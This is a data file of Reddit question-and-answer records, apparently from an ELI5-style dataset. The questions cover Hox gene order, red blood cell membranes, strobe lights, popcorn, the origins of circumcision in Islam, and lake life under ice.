{"q_id": "jlptw", "title": "Why are *Hox* genes found in the genome organized by body location? ", "selftext": "TLDR: Why are *Hox* genes physically ordered within the (fruit fly, and presumably human) genome in the physical order in which they are expressed in the body? Does it have something to do with recombination? \n\nI came across this curious fact in *Endless Forms Most Beautiful*, having earlier heard it mentioned in *Your Inner Fish*. Both books mentioned the miraculous fact that *Hox* genes, which control ultra basic developmental functions such as eye and limb formation, are found in the genome in the general order of the body. That is, developmental genes (in a fruit fly, but us too) influencing the head are in a cluster, then genes influencing the thorax, then genes influencing the abdomen. At least, this is what I *think* they said. Both books mentioned it as a miraculous occurrence, but neither told *why* it has to be that way. Why the heck should the physical order of genes in DNA matter, so long as the genes are on the proper chromosomes and are properly expressed? Might they be linked to reduce the likelihood that recombination messes things up? Even still, that wouldn't answer why the order is so precise. If all of the *Hox* genes are linked, then you could reduce recombination by having \"head, abdomen, thorax\" just as well as \"head, thorax, abdomen.\" \n\nHopefully this is coherent, I don't really understand the subject well enough to phrase a proper question. \n\nThanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/jlptw/why_are_hox_genes_found_in_the_genome_organized/", "answers": {"a_id": ["c2d68e8", "c2d6bws", "c2d9205", "c2d68e8", "c2d6bws", "c2d9205"], "score": [20, 2, 6, 20, 2, 6], "text": ["my background: PhD in molecular biology, postdoc studying Hox gene regulation in Drosophila.\n\nThis is actually a pretty active area of research, so it's a great question! poochwheels has already cited the Duboule lab, who are doing some neat work in mammalian Hox. Let me add a few things.\n\nI have a few comments:\n\n1. You ask, \"Why the heck should the physical order of genes in DNA matter, so long as the genes are on the proper chromosomes and are properly expressed?\" Which is a very sensible question indeed! So, if all animals do it this way, and this organization is conserved throughout the evolution of bilaterally symmetric animals, already you know that the answer must be that it works better this way. It makes the organism more fit and able to reproduce; other alternatives don't survive to pass on their genes. The dramatic conservation says so. But that doesn't really answer the \"why.\"\n\n\n2. What directs each Hox gene to be expressed in the appropriate strength in the appropriate segment of the body (at least in Drosophila, what I know best and where these genes are best studied) is all the DNA between the Hox genes. In the Hox clusters, the Hox gene coding sequences are only a teeny tiny part of the real estate... the genes are something like a couple of kilobases long, but separated from each other by 50 or 100 kb DNA. All that \"extra\" DNA serves a regulatory function that keeps the Hox genes expressed in the right segments and repressed in the other ones. \n\nThe hypothesis is that the DNA in the regulatory areas and the DNA in the Hox gene are organized in 3 dimensional space together with all the appropriate regulatory proteins to produce the correct pattern of expression in each segment. The extension of that hypothesis is that the physical arrangement of the regulatory sequences on the DNA strand relative to the genes is important for producing the correct 3D structure that regulates expression appropriately in the correct segment. Does that make sense? We're still learning a lot about how it works.\n\nI can go on! This is something like the 30,000 foot view But I'll stop there for now and keep going if you have more questions.\n\nedit: formatting", " > Why are Hox genes physically ordered within the (fruit fly, and presumably human) genome in the physical order in which they are expressed in the body?...Why the heck should the physical order of genes in DNA matter, so long as the genes are on the proper chromosomes and are properly expressed? \n\nThe Hox genes are co-linear, with the genes associated with anterior tissues 3' (downstream) in the genome and the most posterior Hox genes 5' (upstream). They all orient in the same direction. So the genes are in \"reverse order\", if we are calling the direction of the genetic code \"forwards\". This is [somewhat conserved across the animal body plan](_URL_0_) even through deletion and  duplication events of single genes and entire clusters.\n\nNo one can say exactly why. The going hypothesis as of 8 years ago: there is co-regulation, wherein the same elements that activate genes also keep the \"right expression\" for the whole cluster. Thus, there is some form of feedback right at the locus during transcriptional initiation that keeps the appropriate gene active and represses activity of those that specify other segments. This would reduce noise and make the information coming from the Hox cluster more precise- thus the right (appropriately posterior) gene is on and the wrong genes (those more posterior) are off.\n\nIn vertebrates, part of this activation is related to retinoic acid sensitivity and exposure during gastrulation. Gastrulation is the movement of cells into the middle of the embryo, creating an inner, middle and outer layer of primordial tissues. The later a tissue gastrulates, the more RA it is exposed to, and the more posteriorized and \"open\" the Hox cluster is.\n\nIn flies, the mechanism is through an elaborate cascade of transcriptional control starting with maternally established regulatory factors that establish front, back, and middle domains within embryo. These regulate the activity of a second set of genes, which in turn activate the Hox genes.\n\nIn mammals there are four Hox clusters. HoxA through HoxD. In the two most common model invertebrates, the Hox clusters are split; into three parts in C. elegans and two parts in Drosophila. So FWIW, it's more complicated than \"it's always in order\".\n\nAlso your insight that this has been kept colinear over huge spans of evolutionary time, even in the setting of multiple deletions, duplications, etc. is not a trivial one. Some selective pressure keeps them lumped together.\n\n >  ultra basic developmental functions such as eye and limb formation\n\nLimb formation in vertebrates is also controlled by Hox cluster geens and has an analogous colinear expression pattern, but this mechanism is thought to be discrete from the body segmentation pathways. I have heard it proposed that this was a clever re-purposing of their co-linear properties, but I cannot vouch for the theory other than to say it exists.\n\nEye development is controlled by Pax?6?/eyeless, a gene that is identical by decent in flies and vertebrates. It has the neat property in flies that whereever it is highly expressed, an eye develops(**!**). Mis-expressing the human gene in flies does the same thing.\n\nThis effect is called \"homeosis\", which is where the Hox genes get their name. However, not all genes that cause homeosis are in the Hox cluster. eyeless is not in the Hox cluster.", "Id just like to thank you all for bringing the level of discourse to an extraordinarily high level in this post. ", "my background: PhD in molecular biology, postdoc studying Hox gene regulation in Drosophila.\n\nThis is actually a pretty active area of research, so it's a great question! poochwheels has already cited the Duboule lab, who are doing some neat work in mammalian Hox. Let me add a few things.\n\nI have a few comments:\n\n1. You ask, \"Why the heck should the physical order of genes in DNA matter, so long as the genes are on the proper chromosomes and are properly expressed?\" Which is a very sensible question indeed! So, if all animals do it this way, and this organization is conserved throughout the evolution of bilaterally symmetric animals, already you know that the answer must be that it works better this way. It makes the organism more fit and able to reproduce; other alternatives don't survive to pass on their genes. The dramatic conservation says so. But that doesn't really answer the \"why.\"\n\n\n2. What directs each Hox gene to be expressed in the appropriate strength in the appropriate segment of the body (at least in Drosophila, what I know best and where these genes are best studied) is all the DNA between the Hox genes. In the Hox clusters, the Hox gene coding sequences are only a teeny tiny part of the real estate... the genes are something like a couple of kilobases long, but separated from each other by 50 or 100 kb DNA. All that \"extra\" DNA serves a regulatory function that keeps the Hox genes expressed in the right segments and repressed in the other ones. \n\nThe hypothesis is that the DNA in the regulatory areas and the DNA in the Hox gene are organized in 3 dimensional space together with all the appropriate regulatory proteins to produce the correct pattern of expression in each segment. The extension of that hypothesis is that the physical arrangement of the regulatory sequences on the DNA strand relative to the genes is important for producing the correct 3D structure that regulates expression appropriately in the correct segment. Does that make sense? We're still learning a lot about how it works.\n\nI can go on! This is something like the 30,000 foot view But I'll stop there for now and keep going if you have more questions.\n\nedit: formatting", " > Why are Hox genes physically ordered within the (fruit fly, and presumably human) genome in the physical order in which they are expressed in the body?...Why the heck should the physical order of genes in DNA matter, so long as the genes are on the proper chromosomes and are properly expressed? \n\nThe Hox genes are co-linear, with the genes associated with anterior tissues 3' (downstream) in the genome and the most posterior Hox genes 5' (upstream). They all orient in the same direction. So the genes are in \"reverse order\", if we are calling the direction of the genetic code \"forwards\". This is [somewhat conserved across the animal body plan](_URL_0_) even through deletion and  duplication events of single genes and entire clusters.\n\nNo one can say exactly why. The going hypothesis as of 8 years ago: there is co-regulation, wherein the same elements that activate genes also keep the \"right expression\" for the whole cluster. Thus, there is some form of feedback right at the locus during transcriptional initiation that keeps the appropriate gene active and represses activity of those that specify other segments. This would reduce noise and make the information coming from the Hox cluster more precise- thus the right (appropriately posterior) gene is on and the wrong genes (those more posterior) are off.\n\nIn vertebrates, part of this activation is related to retinoic acid sensitivity and exposure during gastrulation. Gastrulation is the movement of cells into the middle of the embryo, creating an inner, middle and outer layer of primordial tissues. The later a tissue gastrulates, the more RA it is exposed to, and the more posteriorized and \"open\" the Hox cluster is.\n\nIn flies, the mechanism is through an elaborate cascade of transcriptional control starting with maternally established regulatory factors that establish front, back, and middle domains within embryo. These regulate the activity of a second set of genes, which in turn activate the Hox genes.\n\nIn mammals there are four Hox clusters. HoxA through HoxD. In the two most common model invertebrates, the Hox clusters are split; into three parts in C. elegans and two parts in Drosophila. So FWIW, it's more complicated than \"it's always in order\".\n\nAlso your insight that this has been kept colinear over huge spans of evolutionary time, even in the setting of multiple deletions, duplications, etc. is not a trivial one. Some selective pressure keeps them lumped together.\n\n >  ultra basic developmental functions such as eye and limb formation\n\nLimb formation in vertebrates is also controlled by Hox cluster geens and has an analogous colinear expression pattern, but this mechanism is thought to be discrete from the body segmentation pathways. I have heard it proposed that this was a clever re-purposing of their co-linear properties, but I cannot vouch for the theory other than to say it exists.\n\nEye development is controlled by Pax?6?/eyeless, a gene that is identical by decent in flies and vertebrates. It has the neat property in flies that whereever it is highly expressed, an eye develops(**!**). Mis-expressing the human gene in flies does the same thing.\n\nThis effect is called \"homeosis\", which is where the Hox genes get their name. However, not all genes that cause homeosis are in the Hox cluster. eyeless is not in the Hox cluster.", "Id just like to thank you all for bringing the level of discourse to an extraordinarily high level in this post. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.nature.com/hdy/journal/v97/n3/images/6800872f6.jpg"], [], [], ["http://www.nature.com/hdy/journal/v97/n3/images/6800872f6.jpg"], []]}
{"q_id": "7pwcev", "title": "how the cell membrane of rbcs allows them to deform without rupturing?", "selftext": "This paragraph had me confused. Can someone explain this for me?\n\n\"The shape of red blood cells can change remarkably as the cells squeeze through capillaries. Actually, the red blood cells is a \"bag\" that can be deformed into almost any shape. *Furthermore, because the normal cell has a great excess of cell membrane for the quantity of material inside, deformation does not stretch the membrane greatly and, consequently, does not rupture the cells, as would be the case with many other cells*.\"\n\nWhat does \"great excess of cell membrane\" mean, and explain how is it that RBCS don't rupture when their membranes are stretched?\n\nThanks in advance.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7pwcev/eli5_how_the_cell_membrane_of_rbcs_allows_them_to/", "answers": {"a_id": ["dskhfjf"], "score": [4], "text": ["Inflated balloon vs deflated balloon. One has a lot of stuff inside and is pulled tight, the other has less and is able to be twisted and deformed easily."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8rchd6", "title": "why does really fast flashing lights make you see slow motion", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8rchd6/eli5_why_does_really_fast_flashing_lights_make/", "answers": {"a_id": ["e0q6e9p", "e0q72vq", "e0q74w9"], "score": [61, 10, 2], "text": ["O don't think of it at slow motion, I think of it as frames. Every time the light flashes we got a frame that our eye perceives (more flashes per second means a more fluid movement of the object). ", "There's a phenomenon (which I can't remember the name of) that happens when you first look at an analog clock. If it has a second hand it'll appear as if the second hand freezes for longer than a second when you first look at it and then continue on its merry way. Your brain just takes a quick snapshot when you redirect your focus quickly and that picture lasts longer than the \"standard frame\" when you are consistently looking at something.\n\nI would imagine that this phenomenon extends out to these strobe light situations. Each time the lights are on is considered a new image and so your brain freezes everything longer than it normally does.", "Flashing lights makes it seem like you are playing a regular video slowly enough that it becomes like a slideshow.\n\nA video is just a series of images played quickly enough that it seems fluid. For movies, it is about 24 images per second. Let's say you slow it down to a crawl so you only see 1 frame per second so you see a change in image every second like a slideshow.\n\nFlashing lights generate a similar effect by making you only see things for a short period of time. This creates the slideshow effect that occurs when you slow down a video but time still moves at the same speed.\n\nBut what about slow motion video like those capturing a bullet's flight through something? Those videos are captured at extremely fast rates from hundreds to thousands of frames per second. When they are played back at normal video framerate, there still are enough frames to make the video seem fluid."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "48etfq", "title": "the difference between pitbulls and the kind i have here?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/48etfq/eli5_the_difference_between_pitbulls_and_the_kind/", "answers": {"a_id": ["d0j2icb", "d0j2iek"], "score": [3, 2], "text": ["well, your dog isn't fully grown so we don't know all the anatomical differences (major and minor) between your pup and a pitbull", "Pit bull isn't so much a breed as a type of dog that includes several breeds, like the staffordshire terrier, american staffordshire, bull terrier, etc. Your puppy could certainly be classified as a pit bull. Adorable dog, train it well!\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Pit_bull"]]}
{"q_id": "cu7msg", "title": "hip replacements", "selftext": "Why do they call it a hip replacement, when it\u2019s actually the head of the femur?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cu7msg/eli5_hip_replacements/", "answers": {"a_id": ["exryvjs", "exrz83h"], "score": [2, 2], "text": ["The hip is that part of your body where the leg meets the hip bone. \"Hip\" is a term used colloquially when referring to the body, while \"femur\" is a more medical term.\n\nThus a typical person would likely say they are getting their hip joint replaced, which then becomes \"hip replacement\".", "The hip is the joint between the femur and pelvis. The parts that articulate is the acetabulum of the pelvis (the socket) and the head of the femur (the ball). In order to replace the hip joint the acetabulum is shaved down and a synthetic socket is inserted. Then the head and neck of the femur is sawed off and replaced with a stainless steel neck and ball."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2toux3", "title": "why do some people say, 'on accident,' and others say, 'by accident'?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2toux3/eli5_why_do_some_people_say_on_accident_and/", "answers": {"a_id": ["co0yzck", "co0zhry", "co0zr0n", "co0zupk", "co0zwj3", "co10c5s", "co10etq", "co1173f", "co11k4r", "co19x2t", "co1ik1z"], "score": [3, 8, 36, 21, 67, 19, 7, 42, 5, 34, 9], "text": ["Lets get the English teachers up in this thread", "Because some people are saying it incorrectly ....", "Because \"by accident\" is correct and because other people are dumb.", "Almost completely acquired dialect. That's how their family said it, so that's how they say it.", "Someone said \"on accident\" by accident, never owned up to the mistake and it caught on", "Everybody get ready for lots of /r/badlinguistics in this thread. No, it is not wrong. No, people who speak different from you are not stupid, dumb, uneducated or ignorant. \n\nIt was probably a mistake that somebody made that caught on elsewhere, and has since become a dialectical feature.  That's how a lot of language change happens. I like /u/LagItOut's hypothesis. \n\nEDIT: /u/kw3lyk had the right answer. I feel like an idiot because I'm now realizing that this exact phenomenon was discussed in one of my linguistics courses last year. Doh!", "This is a huge pet peeve for me. The correct way to say it is \"by accident,\" that's the only thing that makes sense. \n\nSaying you did something \"on accident\" sounds like you made a mistake while standing on top of a car accident. ", "I think some people say it because the opposite is \"on purpose\", so maybe some people think that \"on accident\" just makes sense.", "\"On accident\" (meaning \"accidentally\") does seem to be an unusual usage that frequently appears in opposition to the much more idiomatic \"on purpose\" (meaning \"purposefully\").\n\nA quick survey of the 23 incidences of \"on accident\" in the Corpus of Contemporary American English show about half have the sense discussed here, and \"on accident\" does occur in opposition to \"on purpose\"\n\n\n\"By accident\", in contrast, has 1419 results, making it more than 100 times more common, and occurring not just in spoken and informal written English, but also in formal edited writing in academic journals, magazines, and newspapers.\n\n_URL_0_\n", "As it turns out, this was part of a study. \n\nThe older generations, I think the number given was after '92, all say \"by accident\" as an analogue of \"by mistake\".\n\nConversely, younger people say \"on accident\" using the same phrasing as \"on purpose\".\n\n_URL_1_\n\n_URL_0_", "Someone submitted a link to this submission in the following subreddit:\n\n* /r/badlinguistics: [Oh god, it's happening again. \"By accident\" versus \"on accident\" in ELI5.](_URL_0_)\n\n----\nThis comment was posted by a bot, see /r/Meta_Bot for more info. Please respect rediquette, and do not vote or comment on the linked submissions. Thank you."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], ["http://english.stackexchange.com/questions/215/is-it-correct-to-say-on-accident-instead-of-by-accident"], ["http://www.grammarphobia.com/blog/2010/03/an-accidental-tourist.html", "http://articles.chicagotribune.com/2013-02-13/features/ct-tribu-words-work-grammar-questions-20130213_1_grammar-gripes-accident-mignon-grammar-girl-fogarty"], ["https://np.reddit.com/r/badlinguistics/comments/2tqxw1/oh_god_its_happening_again_by_accident_versus_on/"]]}
{"q_id": "3hi4e0", "title": "if cern uses hydrogen protons, why do they not fuse into helium as opposed to smash into their constituent particles?", "selftext": "also, when hydrogen does fuse into helium, where does the neutron come from? or is a neutron identical to a proton just without the charge?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3hi4e0/if_cern_uses_hydrogen_protons_why_do_they_not/", "answers": {"a_id": ["cu7lobp"], "score": [9], "text": ["Here's an outline of the proton (hydrogen) fusion chain reactions\n\n_URL_0_\n\nProtons transmute into neutrons via beta-plus decay\n\n_URL_1_\n\nAnd the collisions have too much energy to just result in a mess of helium.  Fusion does happen, but so does a lot of other stuff. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Proton%E2%80%93proton_chain_reaction", "https://en.wikipedia.org/wiki/Positron_emission"]]}
{"q_id": "9zuv1w", "title": "why don\u2019t any other seeds \u201cpop\u201d like corn?", "selftext": "It\u2019d be a lot cooler if they did.  Could you imagine popped pistachios?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9zuv1w/eli5_why_dont_any_other_seeds_pop_like_corn/", "answers": {"a_id": ["eac8yqf", "eac92j4", "eac9ex2", "eac9n8y", "eac9xiw"], "score": [32, 3, 5, 8, 4], "text": ["Popcorn pops because it has a STRONG and leakproof outershell. Inside popcorn is water, starches, and some other stuff. Apply enough heat and that water turns to steam and liquefying the starch. since steam has many times the volume of water eventually the shell bursts causing the starch to explode outward before it re-solidifies. \n\nOther seeds either just let the water/steam leak out as it forms or break in a way that keeps the starch/steam from exploding outwards in all directions. \n\nRice and wheat can both be \"puffed\" which is a similar process, but uses a pressure cooker rather than the seeds own shell.", "Go to India. They pop rice and make dishes out of it. I'm sure other Asian countries do it too.", "Milo (grain sorghum), can be popped like popcorn. I've been told it's pretty good and healthier than corn, but never had the opportunity to try it.", "Quinoa, Rice, Barley, and Sorghum can all be popped like corn. In fact virtually all grains can be popped to some extent, though the ones named are better. ", "Corn seeds are basically a hard shell, containing a filling of about 70% starch, 10% protein, 15% water and some other things, that don't matter to this question. When heatet the water can't escape due to the shell, so it is trapped inside the corn. When the water is heated to it's boiling point and still can't escape the shell, the pressure inside the corn increases until it is to high for the shell to contain and it bursts open.\nUntil this point the water was still mostly liquid because of the pressure inside the shell (like sparkling water only sparkles, when the bottle is opened).\nWhen the shell breaks open, the water vaporizes explosively, taking the starch/protein mixture with it (giving it this foamy visual) and cooking the it instantly (which makes the Form stable).\n\nThis combination of water trapped inside a hard airtight shell isn't very common in biology as far as I know. And it is definiy not a thing for pistachios.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "9p300h", "title": "independent component analysis vs. fourier analysis", "selftext": "From what I've read about ICA, it allows you to isolate/extract a particular signal (PS) from a given signal (GS). GS is some linear combination of \"base signals\" (BS). \n\nThis all sounds kind of like fourier analysis. In fourier analysis, you can figure out which frequencies are present in a given signal. \n\nSo what is the difference between the two and when would you use one vs. the other?\n\nThanks! :-)\n\nBackground: familiar with fourier analysis, but not as much with statistics. I have taken basic statistics for engineering (statistical distributions, error analysis, ANOVA) but nothing more than that.   ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9p300h/eli5_independent_component_analysis_vs_fourier/", "answers": {"a_id": ["e7yqbyx"], "score": [2], "text": ["In Fourier Analysis, you start out knowing your basis - it is the individual frequencies. Decomposing into basis components is as easy as taking an inner product in square-integrable function space (or doing neat numerical tricks like in FFT that do something equivalent).\n\nIn ICA, your basis vectors are not individual frequencies - they are individual sources of sound. You don't know their structure a priori, but you know that they have some sort of internal correlation. So, given your dataset, you have to simultaneously find a collection of basis vectors that have the appropriate internal distributions and find how to compose them to make your overall signal.\n\nICA and Fourier analysis are somewhat orthogonal to each other, because the basis vectors have no real relationship to one another. In fact, there's some work in [taking the frequency-space data](_URL_0_) and then applying ICA to it to see if sources can be correlated to each other in frequency space."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.sciencedirect.com/science/article/pii/S1053811909009409"]]}
{"q_id": "3upiyy", "title": "Why did Islam adopt Jewish dietary habits and circumcision, while Christianity, which had a closer relationship to Judaism, rejected them?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3upiyy/why_did_islam_adopt_jewish_dietary_habits_and/", "answers": {"a_id": ["cxgrgxo", "cxgv7uh", "cxgwpar"], "score": [553, 595, 122], "text": ["\"Oh man look at this comment graveyard\"\n\n**To those wishing to give an answer,** please make sure you're providing one that's up to the standards of the sub, and which is not in violation of the rules. \n\nBefore commenting, ask yourself:\n\n1. Do I have the necessary expertise and background knowledge to provide an in-depth answer?\n\n2. Would I be able to provide good sources to back up any of the claims I'm making?\n\n3. Is the answer I'm giving both informative and in-depth?\n\nIf no to any of those, it's probably better to refrain from answering. We'll be moderating this threat quite heavily. And please do provide sources if you can.", "I'll give this a try, since there seems to be quite a few misconceptions out there. I may not know all that much about the religious practices themselves, but I think I can at least lay out a few ground rules for discussion. I can't say too much about Christianity, but it is important to remember that Jewish Christianity and other forms of 'Judaizing' Christianity did exist (I have no idea whether they still exist or not, I know very little about religions in the present day), so we shouldn't really say that Christianity definitively abandoned this ritual. Like every faith, it is a broad church and from a historical perspective it doesn't always make sense to define it so narrowly. Strictly speaking there also seems to be an academic debate about the difference between Jewish Christians and Judaizing Christians,^1 but I don't really get it and frankly it won't make that much of a difference here, so I'll just use 'Jewish Christians' here to refer to Christians who adopted elements of Jewish belief, specifically circumcision given the discussion here. Who were these strange people? Well, they were named by early church fathers as heretics of various sort, but they can also be found in Ethiopia and, perhaps more intriguingly, in Arabia.^2 The debate about the presence of Jewish Christianity is Arabia is still ongoing, mostly because we have so little evidence, but it seems to me quite reasonable that they existed, even if not in any great numbers.^3 An interesting source is Sozomen from the fifth century, as he wrote an *Ecclesiastical History* that mentioned the curious behaviour of the Arabs:\n\n >  This [the Arabs] is the tribe which took its origin and had its name from Ishmael, the son of Abraham; and the ancients called them Ishmaelites after their progenitor. As their mother Hagar was a slave, they afterwards, to conceal the opprobrium of their origin, assumed the name of Saracens, as if they were descended from Sara, the wife of Abraham. Such being their origin, they practice circumcision like the Jews, refrain from the use of pork, and observe many other Jewish rites and customs.^4\n\nNow, a Christian writer based in the empire probably had very little idea of what was actually going in Arabia and some of his ideas are just plain wrong - the claim that the term Saracen was derived from Sara for instance - but his mention of circumcision amongst the Arabs is certainly intriguing and is seen by some historians as evidence of Jewish Christianity in the region, since Sozomen did not describe them as Jews. The picture is further complicated by two earlier sources that provided two other explanations. One, the Jewish historian Josephus, noted that the Arabs practised circumcision because of their Abrahamic roots, whilst the Christian Epiphanius attributed this practice to a 'senseless custom'.^5 As far as I know there is no consensus tying all these things together, but it seems to me quite clear that at the very least, circumcision was already present in the Arabian peninsula regardless of Islam and was perhaps a custom amongst Jews, Jewish Christians, and even pagans. \n\nThis view is strengthened if we look at the evidence for pre-Islamic culture preserved in later Arab sources, which seems to suggest that circumcision was a fairly standard practice. Ibn Ishaq for example noted that rituals such as circumcision were performed before a statue of the deity Hubal in Mecca,^6 whilst circumcision itself is something that has been interpreted by a few historians more generally as a purification ritual for the people of Arabia.^7 This is where it gets tricky, since there is also no consensus about just what Islam was in the early seventh century. Perhaps it was very similar to the Islam we know today, but others have also suggested more interesting theories. Fred Donner for example argues that Islam was at the start an ecumenical apocalyptic movement that included both Christians and Jews alongside Muslim 'Believers'. In short, the theory goes that as the end of the world was nigh, it was imperative for all Abrahamic monotheists to purify themselves and do something about it.^8 Or we can go further and follow Patricia Crone's line, in which case practically everyone in Muhammad's life was already a monotheist and that his prophetic career was a struggle over different teachings rather than a bitter dispute over monotheism versus polytheism.^9 \n\nThis might not seem very relevant, but this I think gets to the crux of your question, especially as you asserted that Christianity was closer than Islam in its connections to Judaism. In light of these studies, I don't think that's correct. As I noted [elsewhere](_URL_1_), Roman authors, all of them admittedly quite anti-Semitic, generally talked of a close connection between Islam and Judaism in their writings. Recent studies of the Arab conquests have also effectively made the case that Christians and Jews took part in the conquests alongside early Muslims,^10 so I would personally argue that Islam was at its heart closely connected to Judaism. Not that this particularly matters all that much, since as I've noted above, circumcision was already a thing in Arabia centuries earlier. The exact reasons behind it are debatable, but I think it would be reasonable to say that it's not all that strange that Islam required its practitioners to be circumcised. Even if we ignore earlier sources like Josephus and Sozomen, we can point to how Christianity and Judaism were key to the power struggles in Arabia of the sixth century (see [here](_URL_0_)), and as later Arab sources all described Muhammad as an intelligent and well-travelled man who was no doubt aware of the diverse religious practices present in Arabia, it's a fairly short leap of logic to understand how easily he would favour circumcision. In these circumstances and with the rich Abrahamic inheritance this region already possessed in mind, the existence of circumcision in Islam is I think fairly understandable.\n\n--------------------\n\nReferences:\n\n1. C. Fonrobert, 'Jewish Christians, Judaizers, and Christian Anti-Judaism', in V. Burrus (ed.), *Late Ancient Christianity* (2005).\n\n2. E. Ullendorff, 'Hebraic-Jewish Elements in Abyssinian (Monophysite) Christianity', *Journal of Semitic Studies* 1.3 (1958).\n\n3. G. Stroumsa, 'Jewish Christianity and Islamic Origins', in B. Sadeghi et al (eds.), *Islamic Cultures, Islamic Contexts: Essays in Honor of Professor Patricia Crone* (2014) is I think a very sensible summary of what we know. For a more revisionist view emphasising the importance of Jewish Christian ideas in the formation of Islam, see P. Crone, 'Jewish Christianity and the Qur\u02be\u0101n (Part One)', *Journal of Near Eastern Studies* 74.2 (2015). I expect Part Two of the essay, to be published in 2016, will be even more explosive, as she promised to discuss in-depth the existence of Jewish Christians in Arabia during Muhammad's life-time.\n\n4. Sozomen, *Ecclesiastical History*, VI.38.\n\n5. G. Fisher (ed.), *Arabs and Empires before Islam* (2015).\n\n6. U. Rubin, 'Hanifiyya and Ka'ba: An Inquiry into the Arabian Pre-Islamic Background of Din Ibrahim', *Jerusalem Studies in Arabic and Islam* 13 (1990).\n\n7. A. Al-Azmeh, *The Emergence of Islam in Late Antiquity: Allah and His People* (2014) is a good example and noted that it was an established ritual that was later turned into a marker for the adherents of Islam.\n\n8. F. Donner, *Muhammad and the Believers: At the Origins of Islam* (2010).\n\n9. P. Crone, 'The Religion of the Qur\u02be\u0101nic Pagans:\nGod and the Lesser Deities', *Arabica* 57 (2010). G. Hawting, *The Idea of Idolatry and the Emergence of Islam: From Polemic to History* (1999) is also useful in explaining this view.\n\n10. R. Hoyland, *In God's Path: The Arab Conquests and the Creation of an Islamic Empire* (2014).", "I can only speak to the Christian half of your question and, unfortunately, there is not a great answer. The first thing to point out is that Christianity's relationship to Judaism is not so cut and dry. If you read in the New Testament (e.g. Galatians 2), there are lots of conflicts between those whose religious practices remains closer to Judaism and those who don't. This happens particularly over circumcision, but it carries over to diet as well. We get a few remarks from Paul (e.g. Romans 14:14) that indicate he may have been against ritual dietary laws, but he is more concerned with how to handle the eating of meat sacrificed in pagan rituals than he is the keeping of Old Testament dietary laws (e.g. I Corinthians 8). It is in Acts 10 that the New Testament gives the clearest address to this question, as there it recounts Peter receiving a vision from God telling him that no animal should be considered unclean.\n\nThe reality is that in the first few (two to three) centuries of Christianity, there was not a strong Christian / Jew dichotomy. Christian communities are generally considered to exist on a spectrum from highly distinct from Judaism to closely connected to Judaism. Much of this depends on their local context, i.e. the strength and composition of the Jewish community in that area, its relationship to the local government, etc. Two books which present compelling but opposing viewpoints on these issues are Daniel Boyarin's *Dying for God: Martyrdom and the Making of Christianity and Judaism* and Thomas Robinson's *Ignatius of Loyola and the Parting of the Ways: Early Jewish Christian Relations*. They're both fairly dense, academic books, but worth a read to see how complicated this issue can be. I do not agree with Boyarin's ultimate conclusions, but he gives a good overview at the introduction of his book about the spectrum of Jewish-Christian religion that breaks down the Jew/Christian dichotomy. Robinson's work is an excellent case-study of Christian Jewish relations focusing on Antioch and helps the reader understand how local of a question this is.\n\nMy take based on their work and others is that out of the many different local Christianities arising in late antiquity, a strand of Christianity (given the relevant Scripture, probably Pauline, possible Petrine) that emphasized at least for Gentile Christians a decisive break with Jewish law and cult gained sway. Certainly, Pauline Christianity gave an intellectual framework for moving beyond Jewish law and practice. Christianity developed in such a way that Judaism was less and less a relevant cultural context for Christianity, and Christians found themselves less concerned with their relationship to Jews and more concerned with their relationship to dominant cultural social and religious norms.\n\nThere are other answers that have to do with the way Christians read the Bible, particularly the Old Testament, but I think this is a concise enough answer to help provide a way to think about the issue critically."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.reddit.com/r/AskHistorians/comments/3jirc1/how_would_muhammad_have_originally_known_so_much/", "https://www.reddit.com/r/AskHistorians/comments/3p491t/when_did_the_byzantines_stop_thinking_of_islam_as/"], []]}
{"q_id": "a8hg57", "title": "What happens to aquatic life when a lake freezes over? Do the animals and plants somehow hibernate, or do they find a way to live under to ice? Where would they get oxygen?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/a8hg57/what_happens_to_aquatic_life_when_a_lake_freezes/", "answers": {"a_id": ["ecb201h", "ecb5mvd", "ecb5wvs", "ecb5yh0"], "score": [97, 11, 2, 20], "text": ["It really depends on the organism in question. Many fish remain isothermic with the water, and do regular fish things, others will go into a semi-restful state where they are sluggish and barely move to conserve energy. There are frogs that will bury themselves in the mud and essentially hibernate through the winter, and even some frogs that allow themselves to become fully frozen in ice until the spring thaw. \n\nArctic fish have adapted to the cold and contain antifreeze compounds in their bloodstream, while Arctic aquatic mammals have thick layers of blubber to provide insulation in the cold waters. ", "For the most part, the cold helps fish survive, so long as they don't actually freeze and are native to the biome's climate.  Bodily processes slow way down, so the need for oxygen is reduced (and the need for food even more so.)  I don't think most fish hibernate, but organisms like frogs and newts do -- but the effect is similar in that they're using up a lot fewer resources while they're in this state.  Plants enter a period of dormancy where their need to respire is pretty negligible.\n\n & #x200B;\n\nThere's still some gas exchange unless the 